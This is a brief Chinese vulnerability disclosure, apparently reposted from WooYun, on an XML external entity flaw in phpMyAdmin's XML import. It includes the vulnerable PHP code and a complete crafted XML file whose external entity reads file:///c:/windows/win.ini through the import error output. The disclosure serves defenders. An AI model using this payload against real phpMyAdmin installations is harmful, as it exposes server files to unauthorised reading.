PhpMyadmin任意文件读取漏洞

简要描述:

PhpMyadmin实现中错误的使用了simplexml_load_string函数用于xml解析,但是该函数中默认并没有处理好外部实体的安全性,导致用户可以借助xml文件读取和访问应用有权限访问的系统和网络资源

详细说明:

libraries/import/xml.php中

unset($data); /** * Load the XML string * * The option LIBXML_COMPACT is specified because it can * result in increased performance without the need to * alter the code in any way. It's basically a freebee. */ $xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT); unset($buffer); /** * The XML was malformed */ if ($xml === FALSE) {



可以使用系统中的import功能导入一个精心构造的xml文件

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE wooyun [ <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini"> ]> <!-- - phpMyAdmin XML Dump - version 3.4.4 - http://www.phpmyadmin.net - - 主机: localhost - 生成日期: 2011 年 11 月 01 日 14:56 - 服务器版本: 5.1.28 - PHP 版本: 5.2.6 --> <pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/"> <!-- - Structure schemas --> <pma:structure_schemas> <pma:database name="test" collation="utf8_general_ci" charset="utf8"> <pma:table name="ts_ad"> &hi80sec; </pma:table> </pma:database> </pma:structure_schemas> <!-- - 数据库: 'thinksns' --> <database name="thinksns"> <!-- 表 ts_ad --> </database> </pma_xml_export>


来读写文件,系统错误信息会直接显示出文件内容

来源:http://www.wooyun.org/bugs/wooyun-2010-03185 

发表评论?

0 条评论。

发表评论